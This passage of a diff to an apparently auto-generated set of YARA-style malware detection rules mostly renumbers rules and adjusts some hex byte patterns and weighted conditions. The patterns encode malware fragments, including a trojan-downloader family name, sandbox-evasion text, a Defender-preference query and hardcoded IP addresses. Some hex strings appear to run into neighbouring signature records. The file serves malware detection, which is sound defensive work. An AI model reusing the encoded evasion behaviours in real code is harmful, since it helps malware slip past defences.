1)*99+(#a_01_17 & 1)*112+(#a_01_18 & 1)*65+(#a_01_19 & 1)*86+(#a_01_21 & 1)*32+(#a_01_22 & 1)*30575) >=1200 } -rule _InfrastructureShared_28722{ +rule _InfrastructureShared_30480{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 05 00 21 " @@ -375265,7 +398179,7 @@ rule _InfrastructureShared_28722{ ((#a_01_0 & 1)*16675+(#a_01_2 & 1)*56+(#a_01_3 & 1)*56) >=5 } -rule _InfrastructureShared_28723{ +rule _InfrastructureShared_30481{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 07 00 21 " @@ -375279,7 +398193,7 @@ rule _InfrastructureShared_28723{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*47+(#a_01_2 & 1)*79+(#a_01_3 & 1)*32+(#a_01_5 & 1)*32) >=3 } -rule _InfrastructureShared_28724{ +rule _InfrastructureShared_30482{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 05 00 21 " @@ -375292,7 +398206,7 @@ rule _InfrastructureShared_28724{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*87+(#a_01_3 & 1)*105+(#a_01_4 & 1)*47) >=4 } -rule _InfrastructureShared_28725{ +rule _InfrastructureShared_30483{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,11 00 11 00 11 00 21 " @@ -375306,14 +398220,14 @@ rule _InfrastructureShared_28725{ $a_01_9 = {8b 45 40 87 03 89 45 40 05 00 b1 4c 8d 84 24 98 00 00 00 89 7c 24 20 48 8d 54 24 30 48 89 7c 24 30 48 8b c8 89 bc 24 98 00 00 00 8b f7 e8 3c f6 ff ff 4c 8b 25 f1 16 00 00 4c 8d 0d 16 17 00 00 } //17801 $a_01_10 = {63 6c 24 3c 89 7c 24 24 4d 03 ec 8b 44 24 24 41 87 04 24 89 44 24 24 89 7c 24 28 8b 44 24 28 41 87 45 00 48 8b 5c 24 30 89 44 24 28 48 85 db 0f 84 e2 01 00 00 85 c9 0f 85 da 01 00 00 8b bc 24 98 00 00 00 85 ff 74 1d 48 8b cb 8b d7 } //-14197 $a_01_11 = {48 2b c3 83 e0 03 42 8a 04 08 30 01 48 ff c1 48 83 ea 01 75 e8 48 8b 0d 83 16 00 00 ba 08 00 00 00 41 b8 e0 e8 37 00 ff 15 05 00 b0 48 8d 4d d0 44 89 70 14 c6 45 d3 61 c6 45 d0 64 c6 45 d1 64 c6 45 d6 64 c6 45 d5 2e c6 45 d7 6c c6 45 d8 6c c6 45 d2 72 c6 45 d4 77 c6 45 d9 00 ff 52 10 48 8b d3 8b ce e8 6c 18 00 00 48 8b f8 48 85 c0 0f 85 8e 00 00 00 c6 45 f2 64 48 8d 4d f0 c6 45 f9 64 c6 45 f8 2e c6 45 f6 65 c6 45 f5 67 c6 45 f0 48 c6 45 fa 6c c6 45 fb 6c c6 45 f7 6e c6 45 f4 6f c6 45 f3 72 c6 45 f1 79 88 45 fc ff 53 10 48 85 c0 75 36 c6 45 e3 62 48 8d 4d e0 c6 45 e0 63 c6 } //-29880 - $a_01_12 = {c6 45 e7 2e c6 45 e1 68 c6 45 e5 6b c6 45 e9 6c c6 45 ea 6c c6 45 e4 72 00 00 61 0b 02 00 06 00 06 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 4d 53 49 4c 2f 53 6d 61 6c 6c 2e 41 4b 4d 21 4d 54 42 00 02 00 9c 53 00 61 00 6e 00 64 00 62 00 6f 00 78 00 20 00 65 00 6e } //-6075 - $a_01_14 = {00 6f 00 6e 00 6d 00 65 00 6e 00 74 00 20 00 64 00 65 00 74 00 65 00 63 00 74 00 65 00 64 00 3a 00 20 00 50 00 72 00 6f 00 67 00 72 00 61 00 6d 00 20 00 72 00 61 00 6e 00 20 00 69 00 6e 00 20 00 61 00 20 00 73 00 61 00 6e 00 64 00 62 00 6f 00 78 00 20 00 6f 00 72 00 20 00 74 00 72 00 69 00 61 00 2e 00 67 00 65 00 20 00 65 00 6e 00 76 00 69 } //105 - $a_01_16 = {00 6d 00 65 00 6e 00 74 00 2e 00 02 00 86 47 00 65 00 74 00 2d 00 4d 00 70 00 50 00 72 00 65 00 66 00 65 00 72 00 65 00 6e 00 63 00 65 00 20 00 7c 00 20 00 53 00 65 00 6c 00 65 00 63 00 74 00 20 00 2d 00 45 00 78 00 70 00 61 00 6e 00 64 00 50 00 72 00 6f 00 70 00 65 00 72 00 74 00 79 00 20 00 44 00 69 00 73 00 61 00 62 00 6c 00 } //111 + $a_01_12 = {c6 45 e7 2e c6 45 e1 68 c6 45 e5 6b c6 45 e9 6c c6 45 ea 6c c6 45 e4 72 00 00 61 0f 02 00 64 00 64 00 09 00 21 23 48 53 54 52 3a 53 69 67 47 65 6e 30 36 64 33 36 37 66 65 00 01 00 0f 32 31 32 2e 31 31 37 2e 31 37 36 2e 31 38 37 01 00 0b 39 34 2e 37 35 2e 32 30 31 2e 31 01 00 08 40 2e 75 61 63 64 6c } //-6075 + $a_01_15 = {00 73 00 65 00 6e 00 61 00 6d 00 65 00 64 00 6f 00 62 00 6a 00 65 00 63 00 74 00 73 00 5c 00 7b 00 61 00 36 00 37 00 30 00 37 00 37 00 66 00 64 00 2d 00 35 00 61 00 35 00 37 00 2d 00 34 00 64 00 30 00 65 00 2d 00 38 00 64 00 32 00 61 00 2d 00 33 00 62 00 63 00 31 00 34 00 64 00 32 00 65 00 } //98 + $a_01_16 = {00 38 00 61 00 7d 00 30 00 2e 00 31 00 01 00 0b 63 3a 5c 66 69 6c 65 2e 65 78 65 01 00 38 63 00 3a 00 5c 00 73 00 79 00 73 00 74 00 65 00 6d 00 20 00 76 00 6f 00 6c 00 75 00 6d 00 65 00 20 00 69 00 6e 00 66 00 6f 00 72 00 6d 00 61 00 74 00 69 00 6f 00 6e 00 01 00 55 73 6f 66 74 77 61 72 65 5c 6d 69 } //55 condition: - ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*102+(#a_01_3 & 1)*5120+(#a_01_5 & 1)*114+(#a_01_6 & 1)*106+(#a_01_7 & 1)*24899+(#a_01_9 & 1)*17801+(#a_01_10 & 1)*-14197+(#a_01_11 & 1)*-29880+(#a_01_12 & 1)*-6075+(#a_01_14 & 1)*105+(#a_01_16 & 1)*111) >=17 + ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*102+(#a_01_3 & 1)*5120+(#a_01_5 & 1)*114+(#a_01_6 & 1)*106+(#a_01_7 & 1)*24899+(#a_01_9 & 1)*17801+(#a_01_10 & 1)*-14197+(#a_01_11 & 1)*-29880+(#a_01_12 & 1)*-6075+(#a_01_15 & 1)*98+(#a_01_16 & 1)*55) >=17 } -rule _InfrastructureShared_28726{ +rule _InfrastructureShared_30484{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0f 00 0f 00 03 00 21 " @@ -375325,18 +398239,7 @@ rule _InfrastructureShared_28726{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*-31729+(#a_01_2 & 1)*17803) >=15 } -rule _InfrastructureShared_28727{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 04 00 21 " - - strings : - $a_01_0 = {46 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 4d 53 49 4c 2f 53 6d 61 6c 6c 2e 41 4b 4d 21 4d 54 42 00 02 00 9c 53 00 61 00 6e 00 64 00 62 00 6f 00 78 00 20 00 65 00 6e 00 76 00 69 00 72 00 6f 00 6e 00 6d 00 65 00 6e } //16675 - $a_01_2 = {00 65 00 74 00 65 00 63 00 74 00 65 00 64 00 3a 00 20 00 50 00 72 00 6f 00 67 00 72 00 61 00 6d 00 20 00 72 00 61 00 6e 00 20 00 69 00 6e 00 20 00 61 00 20 00 73 00 61 00 6e 00 64 00 62 00 6f 00 78 00 20 00 6f 00 72 00 20 00 74 00 72 00 69 00 61 00 2e 00 67 00 65 00 20 00 65 00 6e 00 76 00 69 00 72 } //32 - condition: - ((#a_01_0 & 1)*16675+(#a_01_2 & 1)*32) >=6 - -} -rule _InfrastructureShared_28728{ +rule _InfrastructureShared_30485{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,64 00 64 00 09 00 21 " @@ -375351,7 +398254,7 @@ rule _InfrastructureShared_28728{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*98+(#a_01_5 & 1)*58+(#a_01_6 & 1)*28521+(#a_01_7 & 1)*29289+(#a_01_8 & 1)*18467) >=100 } -rule _InfrastructureShared_28729{ +rule _InfrastructureShared_30486{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 05 00 21 " @@ -375364,7 +398267,7 @@ rule _InfrastructureShared_28729{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*101+(#a_01_3 & 1)*108+(#a_01_4 & 1)*108) >=4 } -rule _InfrastructureShared_28730{ +rule _InfrastructureShared_30487{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 04 00 21 " @@ -375377,7 +398280,7 @@ rule _InfrastructureShared_28730{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*99+(#a_01_2 & 1)*83+(#a_01_3 & 1)*101) >=1 } -rule _InfrastructureShared_28731{ +rule _InfrastructureShared_30488{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -375388,7 +398291,7 @@ rule _InfrastructureShared_28731{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*111) >=3 } -rule _InfrastructureShared_28732{ +rule _InfrastructureShared_30489{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 06 00 21 " @@ -375401,7 +398304,7 @@ rule _InfrastructureShared_28732{ ((#a_01_0 & 1)*21283+(#a_01_2 & 1)*49+(#a_01_3 & 1)*45+(#a_01_5 & 1)*110) >=6 } -rule _InfrastructureShared_28733{ +rule _InfrastructureShared_30490{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,64 00 64 00 06 00 21 " @@ -375414,7 +398317,7 @@ rule _InfrastructureShared_28733{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*48+(#a_01_4 & 1)*110+(#a_01_5 & 1)*108) >=100 } -rule _InfrastructureShared_28734{ +rule _InfrastructureShared_30491{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0f 00 0f 00 16 00 21 " @@ -375434,7 +398337,7 @@ rule _InfrastructureShared_28734{ ((#a_01_0 & 1)*16675+(#a_01_2 & 1)*114+(#a_01_3 & 1)*117+(#a_01_7 & 1)*117+(#a_01_8 & 1)*104+(#a_01_10 & 1)*112+(#a_01_12 & 1)*98+(#a_01_14 & 1)*105+(#a_01_17 & 1)*116+(#a_01_19 & 1)*114+(#a_01_21 & 1)*117) >=15 } -rule _InfrastructureShared_28735{ +rule _InfrastructureShared_30492{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,09 00 09 00 09 00 21 " @@ -375448,7 +398351,7 @@ rule _InfrastructureShared_28735{ ((#a_01_0 & 1)*16675+(#a_01_2 & 1)*101+(#a_01_3 & 1)*99+(#a_01_6 & 1)*111+(#a_01_8 & 1)*109) >=9 } -rule _InfrastructureShared_28736{ +rule _InfrastructureShared_30493{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,08 00 08 00 16 00 21 " @@ -375473,7 +398376,7 @@ rule _InfrastructureShared_28736{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*102+(#a_01_3 & 1)*5632+(#a_01_5 & 1)*32+(#a_01_7 & 1)*111+(#a_01_8 & 1)*60+(#a_01_10 & 1)*99+(#a_01_11 & 1)*25970+(#a_01_12 & 1)*10286+(#a_01_13 & 1)*30052+(#a_01_14 & 1)*29797+(#a_01_15 & 1)*11817+(#a_01_16 & 1)*29541+(#a_01_17 & 1)*28245+(#a_01_19 & 1)*48+(#a_01_21 & 1)*49) >=8 } -rule _InfrastructureShared_28737{ +rule _InfrastructureShared_30494{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,17 00 17 00 0c 00 21 " @@ -375491,7 +398394,7 @@ rule _InfrastructureShared_28737{ ((#a_01_0 & 1)*16675+(#a_01_2 & 1)*29210+(#a_01_3 & 1)*25964+(#a_01_4 & 1)*10286+(#a_01_5 & 1)*29797+(#a_01_6 & 1)*30789+(#a_01_7 & 1)*20545+(#a_01_8 & 1)*49+(#a_01_10 & 1)*49) >=23 } -rule _InfrastructureShared_28738{ +rule _InfrastructureShared_30495{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,13 00 13 00 13 00 21 " @@ -375513,7 +398416,7 @@ rule _InfrastructureShared_28738{ ((#a_01_0 & 1)*18467+(#a_01_3 & 1)*49+(#a_01_5 & 1)*49+(#a_01_7 & 1)*49+(#a_01_9 & 1)*101+(#a_01_11 & 1)*114+(#a_01_12 & 1)*99+(#a_01_13 & 1)*1+(#a_01_14 & 1)*1+(#a_01_15 & 1)*1+(#a_01_16 & 1)*1+(#a_01_17 & 1)*1+(#a_01_18 & 1)*1) >=19 } -rule _InfrastructureShared_28739{ +rule _InfrastructureShared_30496{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0b 00 0b 00 0b 00 21 " @@ -375530,7 +398433,7 @@ rule _InfrastructureShared_28739{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*81+(#a_01_3 & 1)*32+(#a_01_5 & 1)*52+(#a_01_6 & 1)*13625+(#a_01_7 & 1)*26957+(#a_01_8 & 1)*26977+(#a_01_9 & 1)*28793) >=11 } -rule _InfrastructureShared_28740{ +rule _InfrastructureShared_30497{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 04 00 21 " @@ -375543,7 +398446,7 @@ rule _InfrastructureShared_28740{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*47+(#a_01_2 & 1)*47+(#a_01_3 & 1)*54) >=1 } -rule _InfrastructureShared_28741{ +rule _InfrastructureShared_30498{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 09 00 21 " @@ -375559,7 +398462,7 @@ rule _InfrastructureShared_28741{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*92+(#a_01_3 & 1)*105+(#a_01_4 & 1)*69+(#a_01_5 & 1)*65+(#a_01_7 & 1)*105+(#a_01_8 & 1)*13922) >=3 } -rule _InfrastructureShared_28742{ +rule _InfrastructureShared_30499{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,64 00 64 00 07 00 21 " @@ -375574,7 +398477,7 @@ rule _InfrastructureShared_28742{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*115+(#a_01_3 & 1)*101+(#a_01_4 & 1)*24888+(#a_01_5 & 1)*23650+(#a_01_6 & 1)*29281) >=100 } -rule _InfrastructureShared_28743{ +rule _InfrastructureShared_30500{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,09 00 09 00 09 00 21 " @@ -375589,7 +398492,7 @@ rule _InfrastructureShared_28743{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*65+(#a_01_3 & 1)*65+(#a_01_5 & 1)*116+(#a_01_6 & 1)*71+(#a_01_8 & 1)*65) >=9 } -rule _InfrastructureShared_28744{ +rule _InfrastructureShared_30501{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,13 00 13 00 0a 00 21 " @@ -375604,7 +398507,7 @@ rule _InfrastructureShared_28744{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*46+(#a_01_3 & 1)*49+(#a_01_5 & 1)*49+(#a_01_7 & 1)*49+(#a_01_9 & 1)*49) >=19 } -rule _InfrastructureShared_28745{ +rule _InfrastructureShared_30502{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 0c 00 21 " @@ -375624,7 +398527,7 @@ rule _InfrastructureShared_28745{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*13410+(#a_01_2 & 1)*24933+(#a_01_3 & 1)*25392+(#a_01_4 & 1)*14181+(#a_01_5 & 1)*20564+(#a_01_6 & 1)*13674+(#a_01_7 & 1)*28213+(#a_01_8 & 1)*121+(#a_01_9 & 1)*100+(#a_01_10 & 1)*103) >=3 } -rule _InfrastructureShared_28746{ +rule _InfrastructureShared_30503{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0c 00 0c 00 0c 00 21 " @@ -375643,7 +398546,7 @@ rule _InfrastructureShared_28746{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*108+(#a_01_2 & 1)*97+(#a_01_4 & 1)*99+(#a_01_6 & 1)*32+(#a_01_7 & 1)*78+(#a_01_8 & 1)*28265+(#a_01_9 & 1)*14882+(#a_01_10 & 1)*29797+(#a_01_11 & 1)*17729) >=12 } -rule _InfrastructureShared_28747{ +rule _InfrastructureShared_30504{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 0b 00 21 " @@ -375662,7 +398565,7 @@ rule _InfrastructureShared_28747{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*29549+(#a_01_2 & 1)*25966+(#a_01_3 & 1)*28265+(#a_01_4 & 1)*30831+(#a_01_5 & 1)*29545+(#a_01_6 & 1)*22330+(#a_01_7 & 1)*80+(#a_01_8 & 1)*101+(#a_01_10 & 1)*92) >=2 } -rule _InfrastructureShared_28748{ +rule _InfrastructureShared_30505{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,40 00 40 00 0a 00 21 " @@ -375677,7 +398580,7 @@ rule _InfrastructureShared_28748{ ((#a_01_0 & 1)*18467+(#a_01_3 & 1)*79+(#a_01_5 & 1)*116+(#a_01_6 & 1)*45+(#a_01_8 & 1)*101+(#a_01_9 & 1)*97) >=64 } -rule _InfrastructureShared_28749{ +rule _InfrastructureShared_30506{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,07 00 07 00 07 00 21 " @@ -375690,7 +398593,7 @@ rule _InfrastructureShared_28749{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*103+(#a_01_3 & 1)*109+(#a_01_5 & 1)*117) >=7 } -rule _InfrastructureShared_28750{ +rule _InfrastructureShared_30507{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,13 00 13 00 13 00 21 " @@ -375715,7 +398618,7 @@ rule _InfrastructureShared_28750{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*29811+(#a_01_2 & 1)*27760+(#a_01_3 & 1)*25970+(#a_01_4 & 1)*19820+(#a_01_5 & 1)*27234+(#a_01_6 & 1)*28271+(#a_01_7 & 1)*101+(#a_01_9 & 1)*100+(#a_01_11 & 1)*79+(#a_01_13 & 1)*111+(#a_01_14 & 1)*92+(#a_01_15 & 1)*2+(#a_01_16 & 1)*8448+(#a_01_17 & 1)*2+(#a_01_18 & 1)*1) >=19 } -rule _InfrastructureShared_28751{ +rule _InfrastructureShared_30508{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,07 00 07 00 07 00 21 " @@ -375730,7 +398633,7 @@ rule _InfrastructureShared_28751{ ((#a_01_0 & 1)*16675+(#a_01_2 & 1)*116+(#a_01_3 & 1)*101+(#a_01_4 & 1)*101+(#a_01_5 & 1)*99+(#a_01_6 & 1)*65) >=7 } -rule _InfrastructureShared_28752{ +rule _InfrastructureShared_30509{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 17 00 21 " @@ -375755,7 +398658,7 @@ rule _InfrastructureShared_28752{ ((#a_01_0 & 1)*21283+(#a_01_2 & 1)*17170+(#a_01_3 & 1)*29761+(#a_01_4 & 1)*29298+(#a_01_5 & 1)*27489+(#a_01_6 & 1)*26983+(#a_01_7 & 1)*29025+(#a_01_9 & 1)*8+(#a_01_10 & 1)*112+(#a_01_12 & 1)*117+(#a_01_13 & 1)*105+(#a_01_15 & 1)*101+(#a_01_16 & 1)*32+(#a_01_18 & 1)*115+(#a_01_20 & 1)*98+(#a_01_21 & 1)*16722) >=2 } -rule _InfrastructureShared_28753{ +rule _InfrastructureShared_30510{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 08 00 21 " @@ -375770,7 +398673,7 @@ rule _InfrastructureShared_28753{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*110+(#a_01_3 & 1)*32+(#a_01_4 & 1)*85+(#a_01_6 & 1)*115+(#a_01_7 & 1)*73) >=4 } -rule _InfrastructureShared_28754{ +rule _InfrastructureShared_30511{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 06 00 21 " @@ -375783,7 +398686,7 @@ rule _InfrastructureShared_28754{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*112+(#a_01_3 & 1)*50+(#a_01_4 & 1)*53) >=6 } -rule _InfrastructureShared_28755{ +rule _InfrastructureShared_30512{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,15 00 15 00 15 00 21 " @@ -375810,7 +398713,7 @@ rule _InfrastructureShared_28755{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*29555+(#a_01_2 & 1)*29803+(#a_01_3 & 1)*29231+(#a_01_4 & 1)*26980+(#a_01_5 & 1)*28515+(#a_01_7 & 1)*17166+(#a_01_8 & 1)*25455+(#a_01_9 & 1)*25706+(#a_01_10 & 1)*13411+(#a_01_11 & 1)*28007+(#a_01_12 & 1)*25703+(#a_01_13 & 1)*28021+(#a_01_14 & 1)*13129+(#a_01_15 & 1)*104+(#a_01_16 & 1)*32+(#a_01_18 & 1)*51+(#a_01_20 & 1)*101) >=21 } -rule _InfrastructureShared_28756{ +rule _InfrastructureShared_30513{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 18 00 21 " @@ -375837,7 +398740,7 @@ rule _InfrastructureShared_28756{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*26902+(#a_01_2 & 1)*11875+(#a_01_3 & 1)*30052+(#a_01_4 & 1)*27191+(#a_01_5 & 1)*13415+(#a_01_6 & 1)*27247+(#a_01_7 & 1)*81+(#a_01_8 & 1)*51+(#a_01_10 & 1)*101+(#a_01_11 & 1)*101+(#a_01_12 & 1)*28505+(#a_01_13 & 1)*24933+(#a_01_15 & 1)*105+(#a_01_16 & 1)*87+(#a_01_18 & 1)*77+(#a_01_20 & 1)*101+(#a_01_22 & 1)*97) >=1 } -rule _InfrastructureShared_28757{ +rule _InfrastructureShared_30514{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0e 00 0e 00 0e 00 21 " @@ -375856,7 +398759,7 @@ rule _InfrastructureShared_28757{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*81+(#a_01_3 & 1)*32256+(#a_01_4 & 1)*52+(#a_01_6 & 1)*50+(#a_01_8 & 1)*114+(#a_01_9 & 1)*29807+(#a_01_10 & 1)*25938+(#a_01_11 & 1)*13875+(#a_01_13 & 1)*1) >=14 } -rule _InfrastructureShared_28758{ +rule _InfrastructureShared_30515{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0a 00 0a 00 15 00 21 " @@ -375882,7 +398785,7 @@ rule _InfrastructureShared_28758{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*105+(#a_01_2 & 1)*95+(#a_01_4 & 1)*114+(#a_01_5 & 1)*116+(#a_01_7 & 1)*116+(#a_01_8 & 1)*77+(#a_01_9 & 1)*28524+(#a_01_10 & 1)*25938+(#a_01_12 & 1)*101+(#a_01_14 & 1)*116+(#a_01_15 & 1)*111+(#a_01_16 & 1)*32+(#a_01_17 & 1)*27247+(#a_01_18 & 1)*31077+(#a_01_19 & 1)*29559+(#a_01_20 & 1)*12593) >=10 } -rule _InfrastructureShared_28759{ +rule _InfrastructureShared_30516{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,07 00 07 00 07 00 21 " @@ -375896,7 +398799,7 @@ rule _InfrastructureShared_28759{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*25199+(#a_01_3 & 1)*101+(#a_01_5 & 1)*100+(#a_01_6 & 1)*105) >=7 } -rule _InfrastructureShared_28760{ +rule _InfrastructureShared_30517{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,55 00 55 00 14 00 21 " @@ -375919,7 +398822,7 @@ rule _InfrastructureShared_28760{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*29811+(#a_01_2 & 1)*12645+(#a_01_3 & 1)*25445+(#a_01_4 & 1)*15156+(#a_01_5 & 1)*27680+(#a_01_6 & 1)*25697+(#a_01_7 & 1)*29541+(#a_01_9 & 1)*111+(#a_01_10 & 1)*119+(#a_01_12 & 1)*105+(#a_01_14 & 1)*34+(#a_01_16 & 1)*105+(#a_01_18 & 1)*110) >=85 } -rule _InfrastructureShared_28761{ +rule _InfrastructureShared_30518{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,64 00 64 00 05 00 21 " @@ -375932,7 +398835,7 @@ rule _InfrastructureShared_28761{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*111+(#a_01_2 & 1)*116+(#a_01_4 & 1)*116) >=100 } -rule _InfrastructureShared_28762{ +rule _InfrastructureShared_30519{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 05 00 21 " @@ -375944,7 +398847,7 @@ rule _InfrastructureShared_28762{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*82+(#a_01_3 & 1)*33) >=5 } -rule _InfrastructureShared_28763{ +rule _InfrastructureShared_30520{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 36 00 21 " @@ -376005,7 +398908,7 @@ rule _InfrastructureShared_28763{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1+(#a_01_11 & 1)*1+(#a_01_12 & 1)*1+(#a_01_13 & 1)*1+(#a_01_14 & 1)*1+(#a_01_15 & 1)*1+(#a_01_16 & 1)*1+(#a_01_17 & 1)*1+(#a_01_18 & 1)*1+(#a_01_19 & 1)*1+(#a_01_20 & 1)*1+(#a_01_21 & 1)*1+(#a_01_22 & 1)*1+(#a_01_23 & 1)*1+(#a_01_24 & 1)*1+(#a_01_25 & 1)*1+(#a_01_26 & 1)*1+(#a_01_27 & 1)*1+(#a_01_28 & 1)*1+(#a_01_29 & 1)*1+(#a_01_30 & 1)*1+(#a_01_31 & 1)*1+(#a_01_32 & 1)*1+(#a_01_33 & 1)*1+(#a_01_34 & 1)*1+(#a_01_35 & 1)*1+(#a_01_36 & 1)*1+(#a_01_37 & 1)*1+(#a_01_38 & 1)*1+(#a_01_39 & 1)*1+(#a_01_40 & 1)*1+(#a_01_41 & 1)*1+(#a_01_42 & 1)*1+(#a_01_43 & 1)*1+(#a_01_44 & 1)*1+(#a_01_45 & 1)*1+(#a_01_46 & 1)*1+(#a_01_47 & 1)*1+(#a_01_48 & 1)*1+(#a_01_49 & 1)*1+(#a_01_50 & 1)*0+(#a_01_52 & 1)*92) >=1 } -rule _InfrastructureShared_28764{ +rule _InfrastructureShared_30521{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,64 00 64 00 05 00 21 " @@ -376019,7 +398922,7 @@ rule _InfrastructureShared_28764{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*111+(#a_01_2 & 1)*116+(#a_01_3 & 1)*34+(#a_01_4 & 1)*95) >=100 } -rule _InfrastructureShared_28765{ +rule _InfrastructureShared_30522{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0a 00 0a 00 0a 00 21 " @@ -376035,7 +398938,7 @@ rule _InfrastructureShared_28765{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*25971+(#a_01_3 & 1)*65+(#a_01_4 & 1)*65+(#a_01_5 & 1)*65+(#a_01_7 & 1)*105+(#a_01_8 & 1)*65) >=10 } -rule _InfrastructureShared_28766{ +rule _InfrastructureShared_30523{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,20 00 20 00 10 00 21 " @@ -376060,7 +398963,7 @@ rule _InfrastructureShared_28766{ ((#a_01_0 & 1)*20515+(#a_01_1 & 1)*25712+(#a_01_2 & 1)*100+(#a_01_3 & 1)*114+(#a_01_4 & 1)*23653+(#a_01_5 & 1)*9728+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1+(#a_01_11 & 1)*0+(#a_01_12 & 1)*107+(#a_01_13 & 1)*54+(#a_01_14 & 1)*46+(#a_01_15 & 1)*108) >=32 } -rule _InfrastructureShared_28767{ +rule _InfrastructureShared_30524{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0b 00 0b 00 06 00 21 " @@ -376073,7 +398976,7 @@ rule _InfrastructureShared_28767{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*47+(#a_01_3 & 1)*50+(#a_01_5 & 1)*84) >=11 } -rule _InfrastructureShared_28768{ +rule _InfrastructureShared_30525{ 